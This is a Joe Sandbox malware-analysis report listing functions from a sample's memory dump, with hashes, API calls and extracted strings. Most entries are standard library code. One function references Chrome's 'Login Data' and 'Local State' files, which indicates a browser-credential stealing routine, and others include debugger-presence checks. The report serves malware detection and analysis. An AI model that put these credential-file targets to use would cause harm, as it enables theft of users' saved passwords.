Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID: %2lld.%0lldG$%2lld.%0lldM$%4lldG$%4lldM$%4lldP$%4lldT$%4lldk$%5lld
API String ID: 0-3476178709
Opcode ID: 60d001df89668df71800dae63db3b6ab4f7795f1d9ffab470ff28175582dcf54
Instruction ID: 442378385ad5cc177a3426137c3d5696fc205226e7d841047b0227d6efdf9e87
Opcode Fuzzy Hash: 60d001df89668df71800dae63db3b6ab4f7795f1d9ffab470ff28175582dcf54
Instruction Fuzzy Hash: 215147B6B143451BE708CC2DDC81BAF71CAEBA4354F98893CFD46D7381E6A8DC944296

Function 102A1C2B Relevance: 9.1, APIs: 6, Instructions: 70COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,00000000), ref: 102A1C37
memset.VCRUNTIME140(?,00000000,00000003), ref: 102A1C5D
memset.VCRUNTIME140(?,00000000,00000050), ref: 102A1CE7
IsDebuggerPresent.KERNEL32 ref: 102A1D03
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 102A1D1C
UnhandledExceptionFilter.KERNEL32(?), ref: 102A1D26

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$DebuggerFeatureProcessor
String ID:
API String ID: 1045392073-0
Opcode ID: e0c70e44aa7d7a872edffa6f425e6878d4137c429bfb46a83f47711b57b8a880
Instruction ID: 5ce02e63be7a2b2df44fb71fd25d331ddedab11571ad61f7cb9693c014c0e7d7
Opcode Fuzzy Hash: e0c70e44aa7d7a872edffa6f425e6878d4137c429bfb46a83f47711b57b8a880
Instruction Fuzzy Hash: B531E775D05229DBDB21DFA4C9897CDBBB8EF08340F1041EAE40DAB250EB719A84CF45

Function 10237550 Relevance: 7.9, APIs: 5, Instructions: 446COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 547e840229662bcf8e0a4a612f4d9f4256f51415465abd7bb8902db0fbe3ec96
Instruction ID: a19a7ed91548064e219c0c035d27a3ec787b404499c66250860efe056e6833a8
Opcode Fuzzy Hash: 547e840229662bcf8e0a4a612f4d9f4256f51415465abd7bb8902db0fbe3ec96
Instruction Fuzzy Hash: B8E1DEB56047029FE760CF29C881B1AB3E5FF8C715F91092DF58A8B690EB71E954CB42

Function 101DE550 Relevance: 7.7, APIs: 5, Instructions: 230COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 101DE685
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 101DE6A5
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 101DE6C8
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 101DE6E6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 101DE701

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 885266447-0
Opcode ID: 651791ea2c4a0a7950038f26aa6064b44a5fa0962d4b1a7fd3c037ac2928e1a8
Instruction ID: 001adb54dc68b528bbc44c4ec782e805e4a41db89335c800948845ed7cbf68fa
Opcode Fuzzy Hash: 651791ea2c4a0a7950038f26aa6064b44a5fa0962d4b1a7fd3c037ac2928e1a8
Instruction Fuzzy Hash: A1817975704B12AFD348DF398A48796BBE9FF88785F014629E858CB350EB74E8148BD1

Function 10001000 Relevance: 7.6, Strings: 6, Instructions: 129COMMON

Download Yara Rule

Strings

ineI, xrefs: 10001039
ntel, xrefs: 10001044
enti, xrefs: 10001060
cAMD, xrefs: 1000106B
Auth, xrefs: 10001055
Genu, xrefs: 1000102E

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID: Auth$Genu$cAMD$enti$ineI$ntel
API String ID: 0-1714976780
Opcode ID: c77623a033a8abfacda9f66ad4af76de5be2dd884c722bfa4f30fc1e450f6a10
Instruction ID: 52f0322c9f7efa54899b5370275cfc80003661e4c7914d4e53436cd44613587b
Opcode Fuzzy Hash: c77623a033a8abfacda9f66ad4af76de5be2dd884c722bfa4f30fc1e450f6a10
Instruction Fuzzy Hash: EC310877E146570BFB68D87898853ED20C3D3803B4F2ACB39D676D36D8E8698D814290

Function 1008AFE0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 216encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,Microsoft Enhanced RSA and AES Cryptographic Provider,00000018,F0000000,?,?), ref: 1008B280
CryptReleaseContext.ADVAPI32(?,00000000,?,?), ref: 1008B29A

Part of subcall function 10089420: __fprintf_l.LIBCMT ref: 10089455

Strings

Microsoft Enhanced RSA and AES Cryptographic Provider, xrefs: 1008B278
users\e_capi.c, xrefs: 1008B01A, 1008B1E1, 1008B1FF, 1008B21D, 1008B2C0

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: ContextCrypt$AcquireRelease__fprintf_l
String ID: Microsoft Enhanced RSA and AES Cryptographic Provider$users\e_capi.c
API String ID: 1318516483-90255163
Opcode ID: f0537bbb7d828515d42cee861d0f3b749a15e1ccbfafe0618cd864fabe6cadd7
Instruction ID: daeefaa434984218b073613bae5562cf0872c3809c403e4c18a605513966ffc9
Opcode Fuzzy Hash: f0537bbb7d828515d42cee861d0f3b749a15e1ccbfafe0618cd864fabe6cadd7
Instruction Fuzzy Hash: 0351D978E406106AEB00EB31AD47F663698FB51746F040022FD09E92B3EF66F914DA66

Function 1004B53B Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32COMMON

Download Yara Rule

APIs

SHGetKnownFolderPath.SHELL32(1033A4A0,00000000,00000000,?,102A6652,?,1004E8C5,?,?), ref: 1004B54C

Part of subcall function 10050C20: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,1004E8C5,?,00000000,1004E8C5,?,102A6652,?,1004E8C5,?,?), ref: 10050C4F

CoTaskMemFree.OLE32(?,?,?,?,?,?,1004E8C5,?,?), ref: 1004B588

Strings

%ls\Google\Chrome\User Data\Default\Login Data, xrefs: 1004B570
%ls\Google\Chrome\User Data\Local State, xrefs: 1004B558

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: FolderFreeKnownPathTask__stdio_common_vsprintf
String ID: %ls\Google\Chrome\User Data\Default\Login Data$%ls\Google\Chrome\User Data\Local State
API String ID: 3618081814-2009811976
Opcode ID: 746a4420bd5f807e43e00bbec0ddf4ecea234dde3e59caadc11f118c2ec73083
Instruction ID: bd815b045ccafe55c3b70e9b433ef93d1aa412c3d686cdf8889003f120450350
Opcode Fuzzy Hash: 746a4420bd5f807e43e00bbec0ddf4ecea234dde3e59caadc11f118c2ec73083
Instruction Fuzzy Hash: 86F0ECB9840108F7DB11D7908C4BFDD7A29DB09714F300061F514B48A3DB72B7749A08

Function 101A9BA0 Relevance: 6.7, APIs: 1, Strings: 3, Instructions: 723COMMON

Download Yara Rule

Strings

database corruption, xrefs: 101A9BD8, 101AA2B1, 101AA2E1, 101AA30D
96c92aba00c8375bc32fafcdf12429c58bd8aabfcadab6683e35bbb9cdebf19e, xrefs: 101A9BCE, 101AA2A7, 101AA2D7, 101AA303
%s at line %d of [%.10s], xrefs: 101A9BDD, 101AA2B6, 101AA2E6, 101AA312

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$96c92aba00c8375bc32fafcdf12429c58bd8aabfcadab6683e35bbb9cdebf19e$database corruption
API String ID: 0-3771113395
Opcode ID: aa0555f0d593370bb141a32ddaf16dafc026faba0135e257fd32a97631535968
Instruction ID: f418c118e4729a96596a109491a39480db07ec91154df799d8a0ccabaf606565
Opcode Fuzzy Hash: aa0555f0d593370bb141a32ddaf16dafc026faba0135e257fd32a97631535968
Instruction Fuzzy Hash: B342CF7AA04381DFC704CF54C580A1AB7E1FF48394FA6459DF9899B201D73AEC96CB92

Function 10230410 Relevance: 5.6, Strings: 4, Instructions: 550COMMON

Download Yara Rule

Strings

MJ delete: %s, xrefs: 1023085A
%.4c%s%.16c, xrefs: 102306AC
-mj%06X9%02X, xrefs: 10230711
MJ collide: %s, xrefs: 102306E3

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID: %.4c%s%.16c$-mj%06X9%02X$MJ collide: %s$MJ delete: %s
API String ID: 0-4294478755
Opcode ID: 83137532fe27beacde9616bc1cc40357a8f4a599b0c1fdd4cf826a1111b5775a
Instruction ID: d7237f6e1a2b982bd8a2c20b5fd53c0109e2a6d44c8e498965a93a45940c1bce
Opcode Fuzzy Hash: 83137532fe27beacde9616bc1cc40357a8f4a599b0c1fdd4cf826a1111b5775a
Instruction Fuzzy Hash: F60200B0A003429FD700CF68D8D0B2AB7E8FF48655F554668F9489F242D739ED658BB2

Function 10069F80 Relevance: 5.5, Strings: 4, Instructions: 548COMMONLIBRARYCODE

Download Yara Rule

Strings

gfff, xrefs: 1006A360
0, xrefs: 1006A3BF
, xrefs: 1006A015
+, xrefs: 1006A009

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: memmove
String ID: $+$0$gfff
API String ID: 2162964266-2713855371
Opcode ID: 6b5ec4827eb4ed5043e4c971a5da53f2207d4d4a7d8d1f1c0925a2a51f932944
Instruction ID: 69d815137b6c1c229605232b5ae331ef26c3927eec2bc4c7b4a2c0d22bebc0c3
Opcode Fuzzy Hash: 6b5ec4827eb4ed5043e4c971a5da53f2207d4d4a7d8d1f1c0925a2a51f932944
Instruction Fuzzy Hash: 2A12CF31A087519FD711EF3A894171BBAE6FFCA384F018A2DF995E6251E731D8818F42

Function 1006E4D0 Relevance: 3.9, Strings: 3, Instructions: 185COMMONLIBRARYCODE

Download Yara Rule

Strings

gfff, xrefs: 1006E54C
gfff, xrefs: 1006E69F
gfff, xrefs: 1006E642

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID: gfff$gfff$gfff
API String ID: 0-4275324669
Opcode ID: 8e59b62cfbc9b935e52e7cdd124fb50170f4fbd646b652fcfecb6df4937fb20b
Instruction ID: c1f71c48ec5f464848712cc1651d393dc0eb2593374bce0d9b7c7c3977efe6fd
Opcode Fuzzy Hash: 8e59b62cfbc9b935e52e7cdd124fb50170f4fbd646b652fcfecb6df4937fb20b
Instruction Fuzzy Hash: C751F332B057D64BDB6CC82C985036962C3EBD43A4F26473EFD27CB2D0EA61DC458282

Function 1005AD90 Relevance: 2.8, Strings: 2, Instructions: 295COMMON

Download Yara Rule

Strings

crypto\objects\obj_dat.c, xrefs: 1005B019
.%lu, xrefs: 1005B033

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID: .%lu$crypto\objects\obj_dat.c
API String ID: 0-4171033106
Opcode ID: 0522462b4bc37907333c005505f904cc1798d41e2b899fbb583bd1b9c223c243
Instruction ID: 7bde2ea181f4df8f1ebce661ea3db830e8a358a91649675b8b1f0a8f1541e249
Opcode Fuzzy Hash: 0522462b4bc37907333c005505f904cc1798d41e2b899fbb583bd1b9c223c243
Instruction Fuzzy Hash: AA913376A083428BD710CE64D98172FB7E5EF9A384F01452DFC9993281EB75ED4C8B92

Function 101E0DC0 Relevance: 2.2, Strings: 1, Instructions: 955COMMON

Download Yara Rule

Strings

+, xrefs: 101E10B0

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID: +
API String ID: 0-2126386893
Opcode ID: 686c72a9b0f90af83b1ebd7ac305a6ab4fe1b586eaa45ce137a27d70767196c3
Instruction ID: ee0c1cb1de62ad823c8afc185973e464766d923bcc77d4a35be099cef59c8ada
Opcode Fuzzy Hash: 686c72a9b0f90af83b1ebd7ac305a6ab4fe1b586eaa45ce137a27d70767196c3
Instruction Fuzzy Hash: 56924931918F858AC307CF39845015FFBE5BFDA394F119B1EF49AA6221EB74C4868B42

Function 102A0FF2 Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 102A1008

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: f833df5d0f663fdfd477dc7c7613fbb57b328e696faea3f0ae3cd7a40c1fd83f
Instruction ID: 34bdcaa227a35f7d352f4bd5d6771bbf71a1c53b083a8274b5528ec74a7d7949
Opcode Fuzzy Hash: f833df5d0f663fdfd477dc7c7613fbb57b328e696faea3f0ae3cd7a40c1fd83f
Instruction Fuzzy Hash: 82A19EB1D10266CFDB44CF58C8D569DBBF4FB8A3A0F2481AAD409EB668DB349844CF51

Function 10273E80 Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

BCryptGenRandom.BCRYPT(00000000,?), ref: 10273ED0

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: CryptRandom
String ID:
API String ID: 2662593985-0
Opcode ID: 9adf525e0320b900d9761eb8c9ade2cc5c18fed4162e90f8845e6ec4ee320b81
Instruction ID: 3cb2304aabe4dff17d0a3aa05c51c65ccfed5af94ddd46b58c6aca80acda7b5c
Opcode Fuzzy Hash: 9adf525e0320b900d9761eb8c9ade2cc5c18fed4162e90f8845e6ec4ee320b81
Instruction Fuzzy Hash: DA110871A083538BE300CE35CC82B67BBECEBA2294F54896AF950D7281DB31DD558B52

Function 100101E9 Relevance: .8, Instructions: 779COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 509bb7578fcca3a8f5b1190d71492562d21ccd41cd5beb3de7924f690a71749d
Instruction ID: d9962c7cf088cf7409fc4a7f855fc515e5a44641dd8048550837a9ba5587a7d7
Opcode Fuzzy Hash: 509bb7578fcca3a8f5b1190d71492562d21ccd41cd5beb3de7924f690a71749d
Instruction Fuzzy Hash: 46525B72D007368BD358DF5A8884059F7E1BB88710B82877EDE99AB781D770A831DBC4

Function 101F5EE0 Relevance: .8, Instructions: 759COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95a32215a5938a9267a1c60e8a9d7f8412a5e15368788a4dda4532a6e1e049b4
Instruction ID: ea2aabda0e5cd15094e7d2870d8a2e4466a95c1d525d6f5956d966034ed9c72b
Opcode Fuzzy Hash: 95a32215a5938a9267a1c60e8a9d7f8412a5e15368788a4dda4532a6e1e049b4
Instruction Fuzzy Hash: EC72D971819F898AC347CF38855111BFBE9BFDA3D4F109B0EF48A76211EB74D4868642

Function 10265530 Relevance: .6, Instructions: 611COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8451fa20494211690a374255c0297c236a758b9a5c7f89c0e691c1f4a7b54cfd
Instruction ID: 05c14e861896a62a95c382ea4c66228c188da30555faf6de2951956874c03aef
Opcode Fuzzy Hash: 8451fa20494211690a374255c0297c236a758b9a5c7f89c0e691c1f4a7b54cfd
Instruction Fuzzy Hash: 1522AFB1A083658FD310CF19C48035AFBE1EF883A4FA5492EE9D58B341D775D9A5CB82

Function 10008F5B Relevance: .6, Instructions: 586COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b140b6b0034d1010f6cb1527a6f1bab44fbcdd2b4682322dbaecaee9a86a23ff
Instruction ID: b2a77e8f2b4da34f60462c46e1460c968b521e0e96c68e21e3e9b2bb6eb53de5
Opcode Fuzzy Hash: b140b6b0034d1010f6cb1527a6f1bab44fbcdd2b4682322dbaecaee9a86a23ff
Instruction Fuzzy Hash: AC428F70069F968ADB83FB34D0802DFF3A0FFC5359F240D9ACA954A545DB3EA859D221

Function 10004106 Relevance: .5, Instructions: 511COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 935807e7b162a1ea64e5c70604c212045171940620af64286af7aea148eb020f
Instruction ID: 641e151f2666fce011760dba14ebbc01fa9418b5213f64a8daf86a973929f772
Opcode Fuzzy Hash: 935807e7b162a1ea64e5c70604c212045171940620af64286af7aea148eb020f
Instruction Fuzzy Hash: 8E22D0B6904B128FD714CF19D08054AF7E1FF88364F568A2EE9A9A3B14C730BA55CB85

Function 1000AF80 Relevance: .5, Instructions: 483COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88e1fc051deb51386c5efff3985845d92c07a41066ac4a3a50af4d746c0e20b3
Instruction ID: 756d72d36dc0862cb589e985dc6f7b4c4eb90a3ed135cb2a35d2e288a9ad638c
Opcode Fuzzy Hash: 88e1fc051deb51386c5efff3985845d92c07a41066ac4a3a50af4d746c0e20b3
Instruction Fuzzy Hash: 08029071118B098FC356EE1CD89021AF3E1FFC8345F158A2CD68587B65E739A9198F86

Function 1000D080 Relevance: .5, Instructions: 451COMMON

Download Yara Rule

Memory Dump Source

